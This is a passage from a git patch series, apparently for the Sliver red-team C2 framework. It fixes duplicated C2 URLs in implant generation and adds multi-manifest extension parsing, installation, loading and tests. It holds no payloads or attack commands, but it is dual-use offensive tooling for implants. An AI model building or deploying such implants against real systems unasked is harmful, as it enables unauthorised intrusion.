v0.1.2/go.mod h1:1U0RS3dwou/HbqUK4mgmBEU4+qe1oEuI3TCYcMQbkNI= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec h1:W09IVJc94icq4NjY3clb7Lk8O1qJ8BdBEF8z0ibU0rE= github.com/remyoudompheng/bigfft v0.0.0-20230129092748-24d4a6f8daec/go.mod h1:qqbHyh8v60DhA7CoWK5oRCqLrMHRGoxYCSS9EjAz6Eo= github.com/rivo/uniseg v0.2.0/go.mod h1:J6wj4VEh+S6ZtnVlnTBMWIodfgj8LQOQFoIToxlJtxc= @@ -367,6 +369,7 @@ github.com/rogpeppe/go-internal v1.11.0 h1:cWPaGQEPrBb5/AsnsZesgZZ9yb1OQ+GOISoDN github.com/rogpeppe/go-internal v1.11.0/go.mod h1:ddIwULY96R17DhadqLgMfk9H9tvdUzkipdSkR5nkCZA= github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69 h1:ctOUuKn5PO6VtwtaS7unNrm6u20YXESPtnKEie/u304= github.com/rsteube/carapace v0.46.3-0.20231214181515-27e49f3c3b69/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= +github.com/rsteube/carapace v0.47.4/go.mod h1:4ZC5bulItu9t9sZ5yPcHgPREd8rPf274Q732n+wfl/o= github.com/rsteube/carapace-shlex v0.1.1 h1:fRQEBBKyYKm4TXUabm4tzH904iFWSmXJl3UZhMfQNYU= github.com/rsteube/carapace-shlex v0.1.1/go.mod h1:zPw1dOFwvLPKStUy9g2BYKanI6bsQMATzDMYQQybo3o= github.com/russross/blackfriday/v2 v2.1.0/go.mod h1:+Rmxgy9KzJVeS9/2gXHxylqXiyQDYRxCVz55jmeOWTM= From c2afd3fbc5e16810851d98b420882ae4ba647d6b Mon Sep 17 00:00:00 2001 From: Raf <84349012+RafBishopFox@users.noreply.github.com> Date: Fri, 22 Dec 2023 12:23:19 -0500 Subject: [PATCH 116/124] Fixing an issue where C2 URLs are duplicated every time a profile is used to generate an implant. --- server/db/models/implant.go | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/server/db/models/implant.go b/server/db/models/implant.go index 33db497915..cccda8d286 100644 --- a/server/db/models/implant.go +++ b/server/db/models/implant.go @@ -349,9 +349,11 @@ type ImplantC2 struct { // BeforeCreate - GORM hook func (c2 *ImplantC2) BeforeCreate(tx *gorm.DB) (err error) { - c2.ID, err = uuid.NewV4() - if err != nil { - return err + if c2.ID == uuid.Nil { + c2.ID, err = uuid.NewV4() + if err != nil { + return err + } } c2.CreatedAt = time.Now() return nil From 3636244cd4660e73ede9df9553a04263d741d90a Mon Sep 17 00:00:00 2001 From: C-Sto <7466346+C-Sto@users.noreply.github.com> Date: Thu, 31 Aug 2023 10:57:27 +0800 Subject: [PATCH 117/124] multimanifest extension support --- client/command/armory/armory.go | 8 +- client/command/armory/install.go | 39 +- client/command/armory/update.go | 14 +- client/command/extensions/extensions_test.go | 286 +++++++++++---- client/command/extensions/install.go | 139 ++++---- client/command/extensions/load.go | 82 +++-- client/command/sliver.go | 7 +- go.sum | 5 +- .../github.com/reeflective/team/.golangci.yml | 10 +- .../team/client/commands/commands.go | 5 +- .../team/client/commands/import.go | 5 +- .../reeflective/team/client/commands/users.go | 5 +- .../team/client/commands/version.go | 5 +- .../reeflective/team/client/config.go | 1 + .../reeflective/team/internal/db/sql-cgo.go | 5 - .../reeflective/team/internal/db/sql.go | 3 +- .../team/server/commands/commands.go | 7 +- .../team/server/commands/completers.go | 3 +- .../team/server/commands/teamserver.go | 5 +- .../reeflective/team/server/commands/user.go | 5 +- vendor/github.com/rsteube/carapace/command.go | 35 +- .../rsteube/carapace/defaultActions.go | 6 +- .../rsteube/carapace/internal/shell/shell.go | 2 - .../carapace/internal/shell/xonsh/action.go | 8 +- .../carapace/internal/shell/xonsh/snippet.go | 2 +- .../carapace/internal/shell/xonsh/style.go | 332 ++++++++++++++++++ .../internal/{shell => }/spec/command.go | 0 .../{shell/spec/snippet.go => spec/spec.go} | 2 +- .../rsteube/carapace/pkg/style/style.go | 6 +- vendor/modules.txt | 6 +- 30 files changed, 792 insertions(+), 246 deletions(-) create mode 100644 vendor/github.com/rsteube/carapace/internal/shell/xonsh/style.go rename vendor/github.com/rsteube/carapace/internal/{shell => }/spec/command.go (100%) rename vendor/github.com/rsteube/carapace/internal/{shell/spec/snippet.go => spec/spec.go} (96%) diff --git a/client/command/armory/armory.go b/client/command/armory/armory.go index 2e98b50e04..5893f69716 100644 --- a/client/command/armory/armory.go +++ b/client/command/armory/armory.go @@ -90,7 +90,7 @@ type pkgCacheEntry struct { Pkg ArmoryPackage Sig minisign.Signature Alias *alias.AliasManifest - Extension *extensions.ExtensionManifest + Extension extensions.MultiManifest LastErr error } @@ -144,7 +144,7 @@ func ArmoryCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { if cacheEntry.Pkg.IsAlias { aliases = append(aliases, cacheEntry.Alias) } else { - exts = append(exts, cacheEntry.Extension) + exts = append(exts, cacheEntry.Extension...) } } return true @@ -192,7 +192,7 @@ func packagesInCache() ([]*alias.AliasManifest, []*extensions.ExtensionManifest) if cacheEntry.Pkg.IsAlias { aliases = append(aliases, cacheEntry.Alias) } else { - exts = append(exts, cacheEntry.Extension) + exts = append(exts, cacheEntry.Extension...) } } return true @@ -506,7 +506,7 @@ func fetchPackageSignature(wg *sync.WaitGroup, armoryConfig *assets.ArmoryConfig if armoryPkg.IsAlias { pkgCacheEntry.Alias, err = alias.ParseAliasManifest(manifestData) } else { - pkgCacheEntry.Extension, err = extensions.ParseExtensionManifest(manifestData) + pkgCacheEntry.Extension, err = extensions.ParseMultiManifest(manifestData) } if err != nil { pkgCacheEntry.LastErr = fmt.Errorf("failed to parse trusted manifest in pkg signature: %s", err) diff --git a/client/command/armory/install.go b/client/command/armory/install.go index ea7326e0b6..05e3f30ece 100644 --- a/client/command/armory/install.go +++ b/client/command/armory/install.go @@ -222,24 +222,25 @@ func resolveExtensionPackageDependencies(name string, deps map[string]struct{}, if entry == nil { return } + for _, multiExt := range entry.Extension { + if multiExt.DependsOn == "" { + continue // Avoid adding empty dependency + } - if entry.Extension.DependsOn == "" { - return // Avoid adding empty dependency - } - - if entry.Extension.DependsOn == name { - return // Avoid infinite loop of something that depends on itself - } - // We also need to look out for circular dependencies, so if we've already - // seen this dependency, we stop resolving - if _, ok := deps[entry.Extension.DependsOn]; ok { - return // Already resolved - } - if maxDepDepth < len(deps) { - return + if multiExt.DependsOn == name { + continue // Avoid infinite loop of something that depends on itself + } + // We also need to look out for circular dependencies, so if we've already + // seen this dependency, we stop resolving + if _, ok := deps[multiExt.DependsOn]; ok { + continue // Already resolved + } + if maxDepDepth < len(deps) { + continue + } + deps[multiExt.DependsOn] = struct{}{} + resolveExtensionPackageDependencies(multiExt.DependsOn, deps, clientConfig, con) } - deps[entry.Extension.DependsOn] = struct{}{} - resolveExtensionPackageDependencies(entry.Extension.DependsOn, deps, clientConfig, con) } func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, con *console.SliverClient) error { @@ -301,7 +302,7 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c if installPath == nil { return errors.New("failed to install extension") } - extCmd, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName)) + manyfest, err := extensions.LoadExtensionManifest(filepath.Join(*installPath, extensions.ManifestFileName)) if err != nil { return err } @@ -311,6 +312,8 @@ func installExtensionPackageByName(name string, clientConfig ArmoryHTTPConfig, c // if extensions.CmdExists(extCmd.Name, sliverMenu.Command) { // con.App.Commands().Remove(extCmd.Name) // } - extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con) + for _, extCmd := range manyfest { + extensions.ExtensionRegisterCommand(extCmd, sliverMenu.Command, con) + } return nil } diff --git a/client/command/armory/update.go b/client/command/armory/update.go index c8eb114a10..d2e9864b0b 100644 --- a/client/command/armory/update.go +++ b/client/command/armory/update.go @@ -97,15 +97,17 @@ func checkForExtensionUpdates(clientConfig ArmoryHTTPConfig, con *console.Sliver if err != nil { continue } - localManifest, err := extensions.ParseExtensionManifest(data) + manyfest, err := extensions.ParseMultiManifest(data) if err != nil { continue } - for _, latestExt := range cachedExtensions { - // Right now we don't try to enforce any kind of versioning, it is assumed if the version from - // the armory differs at all from the local version, the extension is out of date. - if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version { - results = append(results, localManifest.CommandName) + for _, localManifest := range manyfest { + for _, latestExt := range cachedExtensions { + // Right now we don't try to enforce any kind of versioning, it is assumed if the version from + // the armory differs at all from the local version, the extension is out of date. + if latestExt.CommandName == localManifest.CommandName && latestExt.Version != localManifest.Version { + results = append(results, localManifest.CommandName) + } } } } diff --git a/client/command/extensions/extensions_test.go b/client/command/extensions/extensions_test.go index 56325b47bd..2ab60bac7f 100644 --- a/client/command/extensions/extensions_test.go +++ b/client/command/extensions/extensions_test.go @@ -53,75 +53,6 @@ const ( } ] }` -) - -func TestParseExtensionManifest(t *testing.T) { - extManifest, err := ParseExtensionManifest([]byte(sample1)) - if err != nil { - t.Fatalf("Error parsing extension manifest: %s", err) - } - if extManifest.Name != "test1" { - t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name) - } - if extManifest.CommandName != "test1" { - t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName) - } - if extManifest.Version != "1.0.0" { - t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) - } - if extManifest.ExtensionAuthor != "test" { - t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) - } - if extManifest.OriginalAuthor != "test" { - t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) - } - if extManifest.RepoURL != "https://example.com/" { - t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) - } - if extManifest.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) - } - if len(extManifest.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) - } - if extManifest.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) - } - if extManifest.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) - } - if extManifest.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) - } - - extManifest2, err := ParseExtensionManifest([]byte(sample2)) - if err != nil { - t.Fatalf("Error parsing extension manifest (2): %s", err) - } - if extManifest2.Name != "test2" { - t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name) - } - if extManifest2.CommandName != "test2" { - t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName) - } - if extManifest2.Help != "some help" { - t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help) - } - if len(extManifest2.Files) != 1 { - t.Errorf("Expected 1 file, got %d", len(extManifest2.Files)) - } - if extManifest2.Files[0].OS != "windows" { - t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS) - } - if extManifest2.Files[0].Arch != "amd64" { - t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch) - } - if extManifest2.Files[0].Path != "/foo/test1.dll" { - t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path) - } -} - -const ( sample3 = `{ "name": "test3", "command_name": "test3", @@ -138,10 +69,209 @@ const ( } ] }` + sample4 = `[{ + "name": "testmultisingle", + "command_name": "testmultisingle", + "version": "1.0.0", + "extension_author": "test", + "original_author": "test", + "repo_url": "https://example.com/", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] + }]` + sample5 = `[{ + "name": "testmulti", + "command_name": "testmulti", + "version": "1.0.0", + "extension_author": "test", + "original_author": "test", + "repo_url": "https://example.com/", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] + },{ + "name": "testmulti2", + "command_name": "testmulti2", + "version": "1.0.0", + "extension_author": "test", + "original_author": "test", + "repo_url": "https://example.com/", + "help": "some help", + "files": [ + { + "os": "windows", + "arch": "amd64", + "path": "foo/test1.dll" + } + ] + }]` ) +func TestParseExtensionManifest(t *testing.T) { + mextManifest, err := ParseMultiManifest([]byte(sample1)) + for _, extManifest := range mextManifest { //should only be a single manfiest here, so should pass + if err != nil { + t.Fatalf("Error parsing extension manifest: %s", err) + } + if extManifest.Name != "test1" { + t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name) + } + if extManifest.CommandName != "test1" { + t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName) + } + if extManifest.Version != "1.0.0" { + t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) + } + if extManifest.ExtensionAuthor != "test" { + t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) + } + if extManifest.OriginalAuthor != "test" { + t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) + } + if extManifest.RepoURL != "https://example.com/" { + t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) + } + if extManifest.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) + } + if len(extManifest.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) + } + if extManifest.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) + } + if extManifest.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) + } + if extManifest.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) + } + } + + mextManifest2, err := ParseMultiManifest([]byte(sample2)) //should only be a single manfiest here, so should pass + for _, extManifest2 := range mextManifest2 { + if err != nil { + t.Fatalf("Error parsing extension manifest (2): %s", err) + } + if extManifest2.Name != "test2" { + t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name) + } + if extManifest2.CommandName != "test2" { + t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName) + } + if extManifest2.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help) + } + if len(extManifest2.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extManifest2.Files)) + } + if extManifest2.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS) + } + if extManifest2.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch) + } + if extManifest2.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path) + } + } +} + +func TestParseMultipleManifests(t *testing.T) { + mextManifest, err := ParseMultiManifest([]byte(sample4)) //single manifest in a slice + for _, extManifest := range mextManifest { + if err != nil { + t.Fatalf("Error parsing extension manifest: %s", err) + } + if extManifest.Name != "testmultisingle" { + t.Errorf("Expected extension name 'testmultisingle', got '%s'", extManifest.Name) + } + if extManifest.CommandName != "testmultisingle" { + t.Errorf("Expected extension command name 'testmultisingle', got '%s'", extManifest.CommandName) + } + if extManifest.Version != "1.0.0" { + t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) + } + if extManifest.ExtensionAuthor != "test" { + t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) + } + if extManifest.OriginalAuthor != "test" { + t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) + } + if extManifest.RepoURL != "https://example.com/" { + t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) + } + if extManifest.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) + } + if len(extManifest.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) + } + if extManifest.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) + } + if extManifest.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) + } + if extManifest.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) + } + } + + mextManifest2, err := ParseMultiManifest([]byte(sample5)) //single manifest in a slice + for _, extManifest := range mextManifest2 { + if err != nil { + t.Fatalf("Error parsing extension manifest: %s", err) + } + if extManifest.Name != "testmulti" && extManifest.Name != "testmulti2" { + t.Errorf("Expected extension name 'testmulti or testmulti2', got '%s'", extManifest.Name) + } + if extManifest.CommandName != "testmulti" && extManifest.CommandName != "testmulti2" { + t.Errorf("Expected extension command name 'testmulti or testmulti2', got '%s'", extManifest.CommandName) + } + if extManifest.Version != "1.0.0" { + t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version) + } + if extManifest.ExtensionAuthor != "test" { + t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor) + } + if extManifest.OriginalAuthor != "test" { + t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor) + } + if extManifest.RepoURL != "https://example.com/" { + t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL) + } + if extManifest.Help != "some help" { + t.Errorf("Expected help 'some help', got '%s'", extManifest.Help) + } + if len(extManifest.Files) != 1 { + t.Errorf("Expected 1 file, got %d", len(extManifest.Files)) + } + if extManifest.Files[0].OS != "windows" { + t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS) + } + if extManifest.Files[0].Arch != "amd64" { + t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch) + } + if extManifest.Files[0].Path != "/foo/test1.dll" { + t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path) + } + } +} + func TestParseExtensionManifestErrors(t *testing.T) { - sample3, err := ParseExtensionManifest([]byte(sample3)) + sample3, err := parseExtensionManifest([]byte(sample3)) if err != nil { t.Fatalf("Failed to parse initial sample3: %s", err) } @@ -149,7 +279,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { missingName := (*sample3) missingName.Name = "" data, _ := json.Marshal(missingName) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing name error, got none") } @@ -157,7 +287,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { missingCmdName := (*sample3) missingCmdName.CommandName = "" data, _ = json.Marshal(missingCmdName) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing command name error, got none") } @@ -165,7 +295,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { missingHelp := (*sample3) missingHelp.Help = "" data, _ = json.Marshal(missingHelp) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing help error, got none") } @@ -173,7 +303,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { missingFiles := (*sample3) missingFiles.Files = []*extensionFile{} data, _ = json.Marshal(missingFiles) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing files error, got none") } @@ -187,7 +317,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFileOS) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing files.os error, got none") } @@ -201,7 +331,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFileArch) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing files.arch error, got none") } @@ -215,7 +345,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFilePath) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing files.path error, got none") } @@ -236,7 +366,7 @@ func TestParseExtensionManifestErrors(t *testing.T) { }, } data, _ = json.Marshal(missingFilePath2) - _, err = ParseExtensionManifest(data) + _, err = ParseMultiManifest(data) if err == nil { t.Fatalf("Expected missing files.path error, got none") } diff --git a/client/command/extensions/install.go b/client/command/extensions/install.go index e4ba341316..ad956d3dc6 100644 --- a/client/command/extensions/install.go +++ b/client/command/extensions/install.go @@ -54,45 +54,53 @@ func installFromDir(extLocalPath string, con *console.SliverClient) { con.PrintErrorf("Error reading %s: %s", ManifestFileName, err) return } - manifest, err := ParseExtensionManifest(manifestData) + manyfest, err := ParseMultiManifest(manifestData) if err != nil { con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err) return } - installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) - if _, err := os.Stat(installPath); !os.IsNotExist(err) { - con.PrintInfof("Extension '%s' already exists", manifest.CommandName) - confirm := false - prompt := &survey.Confirm{Message: "Overwrite current install?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return + for _, manifest := range manyfest { + installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) + if _, err := os.Stat(installPath); !os.IsNotExist(err) { + con.PrintInfof("Extension '%s' already exists", manifest.CommandName) + confirm := false + prompt := &survey.Confirm{Message: "Overwrite current install?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + forceRemoveAll(installPath) } - forceRemoveAll(installPath) - } - con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) - err = os.MkdirAll(installPath, 0o700) - if err != nil { - con.PrintErrorf("Error creating extension directory: %s\n", err) - return - } - err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) - if err != nil { - con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) - forceRemoveAll(installPath) - return - } + con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) + err = os.MkdirAll(installPath, 0o700) + if err != nil { + con.PrintErrorf("Error creating extension directory: %s\n", err) + return + } + err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) + if err != nil { + con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) + forceRemoveAll(installPath) + return + } - for _, manifestFile := range manifest.Files { - if manifestFile.Path != "" { - src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) - dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) - err := util.CopyFile(src, dst) - if err != nil { - con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err) - forceRemoveAll(installPath) - return + for _, manifestFile := range manifest.Files { + if manifestFile.Path != "" { + src := filepath.Join(extLocalPath, util.ResolvePath(manifestFile.Path)) + dst := filepath.Join(installPath, util.ResolvePath(manifestFile.Path)) + err = os.MkdirAll(filepath.Dir(dst), 0o700) //required for extensions with multiple dirs between the .o file and the manifest + if err != nil { + con.PrintErrorf("\nError creating extension directory: %s\n", err) + forceRemoveAll(installPath) + return + } + err := util.CopyFile(src, dst) + if err != nil { + con.PrintErrorf("Error copying file '%s' -> '%s': %s\n", src, dst, err) + forceRemoveAll(installPath) + return + } } } } @@ -105,49 +113,52 @@ func InstallFromFilePath(extLocalPath string, autoOverwrite bool, con *console.S con.PrintErrorf("Failed to read %s from '%s': %s\n", ManifestFileName, extLocalPath, err) return nil } - manifest, err := ParseExtensionManifest(manifestData) + manyfest, err := ParseMultiManifest(manifestData) if err != nil { con.PrintErrorf("Failed to parse %s: %s\n", ManifestFileName, err) return nil } - installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) - if _, err := os.Stat(installPath); !os.IsNotExist(err) { - if !autoOverwrite { - con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName) - confirm := false - prompt := &survey.Confirm{Message: "Overwrite current install?"} - survey.AskOne(prompt, &confirm) - if !confirm { - return nil + for _, manifest := range manyfest { + installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName)) + if _, err := os.Stat(installPath); !os.IsNotExist(err) { + if !autoOverwrite { + con.PrintInfof("Extension '%s' already exists\n", manifest.CommandName) + confirm := false + prompt := &survey.Confirm{Message: "Overwrite current install?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return nil + } } + forceRemoveAll(installPath) } - forceRemoveAll(installPath) - } - con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) - err = os.MkdirAll(installPath, 0o700) - if err != nil { - con.PrintErrorf("Failed to create extension directory: %s\n", err) - return nil - } - err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) - if err != nil { - con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) - forceRemoveAll(installPath) - return nil - } - for _, manifestFile := range manifest.Files { - if manifestFile.Path != "" { - err = installArtifact(extLocalPath, installPath, manifestFile.Path, con) - if err != nil { - con.PrintErrorf("Failed to install file: %s\n", err) - forceRemoveAll(installPath) - return nil + con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version) + err = os.MkdirAll(installPath, 0o700) + if err != nil { + con.PrintErrorf("Failed to create extension directory: %s\n", err) + return nil + } + err = os.WriteFile(filepath.Join(installPath, ManifestFileName), manifestData, 0o600) + if err != nil { + con.PrintErrorf("Failed to write %s: %s\n", ManifestFileName, err) + forceRemoveAll(installPath) + return nil + } + for _, manifestFile := range manifest.Files { + if manifestFile.Path != "" { + err = installArtifact(extLocalPath, installPath, manifestFile.Path, con) + if err != nil { + con.PrintErrorf("Failed to install file: %s\n", err) + forceRemoveAll(installPath) + return nil + } } } } con.Printf("done!\n") - return &installPath + first := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manyfest[0].CommandName)) + return &first //this is probably a bad idea - but the only thing that seems to ref this is something that wants all the manifests, and all manifest data is stored in each installed dir, so... } func installArtifact(extGzFilePath string, installPath string, artifactPath string, con *console.SliverClient) error { diff --git a/client/command/extensions/load.go b/client/command/extensions/load.go index 45aad1f814..f05840d1a4 100644 --- a/client/command/extensions/load.go +++ b/client/command/extensions/load.go @@ -30,6 +30,7 @@ import ( "strconv" "strings" + "github.com/AlecAivazis/survey/v2" appConsole "github.com/reeflective/console" "github.com/rsteube/carapace" "github.com/spf13/cobra" @@ -73,6 +74,8 @@ type ExtensionManifest struct { RootPath string `json:"-"` } +type MultiManifest []*ExtensionManifest + type extensionFile struct { OS string `json:"os"` Arch string `json:"arch"` @@ -109,69 +112,104 @@ func (e *ExtensionManifest) getFileForTarget(cmdName string, targetOS string, ta func ExtensionLoadCmd(cmd *cobra.Command, con *console.SliverClient, args []string) { dirPath := args[0] // dirPath := ctx.Args.String("dir-path") - extCmd, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName)) + manyfest, err := LoadExtensionManifest(filepath.Join(dirPath, ManifestFileName)) if err != nil { return } // do not add if the command already exists sliverMenu := con.App.Menu("implant") - if CmdExists(extCmd.CommandName, sliverMenu.Command) { - con.PrintErrorf("%s command already exists\n", extCmd.CommandName) - return + for _, extCmd := range manyfest { + if CmdExists(extCmd.CommandName, sliverMenu.Command) { + con.PrintErrorf("%s command already exists\n", extCmd.CommandName) + confirm := false + prompt := &survey.Confirm{Message: "Overwrite current command?"} + survey.AskOne(prompt, &confirm) + if !confirm { + return + } + } + ExtensionRegisterCommand(extCmd, cmd.Root(), con) + con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help) } - ExtensionRegisterCommand(extCmd, cmd.Root(), con) - con.PrintInfof("Added %s command: %s\n", extCmd.CommandName, extCmd.Help) } -// LoadExtensionManifest - Parse extension files. -func LoadExtensionManifest(manifestPath string) (*ExtensionManifest, error) { +// LoadExtensionManifest - Parse extension files +func LoadExtensionManifest(manifestPath string) (MultiManifest, error) { data, err := os.ReadFile(manifestPath) if err != nil { return nil, err } - extManifest, err := ParseExtensionManifest(data) + manyfest, err := ParseMultiManifest(data) if err != nil { return nil, err } - extManifest.RootPath = filepath.Dir(manifestPath) - loadedExtensions[extManifest.CommandName] = extManifest - return extManifest, nil + for _, extManifest := range manyfest { + extManifest.RootPath = filepath.Dir(manifestPath) + loadedExtensions[extManifest.CommandName] = extManifest + } + return manyfest, nil +} + +// ParseMultiManifest - Parse multiple extension manifests from buffer +func ParseMultiManifest(data []byte) (MultiManifest, error) { + var man MultiManifest + err := json.Unmarshal(data, &man) + if err != nil { + // maybe it's a single manifest + manifest, err := parseExtensionManifest(data) + if err != nil { + // it's not lol + return nil, err + } + man = MultiManifest{manifest} + } + for _, ext := range man { + err := validManifest(ext) + if err != nil { + return nil, err + } + } + return man, nil } -// ParseExtensionManifest - Parse extension manifest from buffer. -func ParseExtensionManifest(data []byte) (*ExtensionManifest, error) { +// parseExtensionManifest - Parse extension manifest from buffer (legacy, only parses one) +func parseExtensionManifest(data []byte) (*ExtensionManifest, error) { extManifest := &ExtensionManifest{} err := json.Unmarshal(data, &extManifest) if err != nil { return nil, err } + return extManifest, validManifest(extManifest) +} + +func validManifest(extManifest *ExtensionManifest) error { if extManifest.Name == "" { - return nil, errors.New("missing `name` field in extension manifest") + return errors.New("missing `name` field in extension manifest") } if extManifest.CommandName == "" { - return nil, errors.New("missing `command_name` field in extension manifest") + return errors.New("missing `command_name` field in extension manifest") } if len(extManifest.Files) == 0 { - return nil, errors.New("missing `files` field in extension manifest") + return errors.New("missing `files` field in extension manifest") } for _, extFiles := range extManifest.Files { if extFiles.OS == "" { - return nil, errors.New("missing `files.os` field in extension manifest") + return errors.New("missing `files.os` field in extension manifest") } if extFiles.Arch == "" { - return nil, errors.New("missing `files.arch` field in extension manifest") + return errors.New("missing `files.arch` field in extension manifest") } 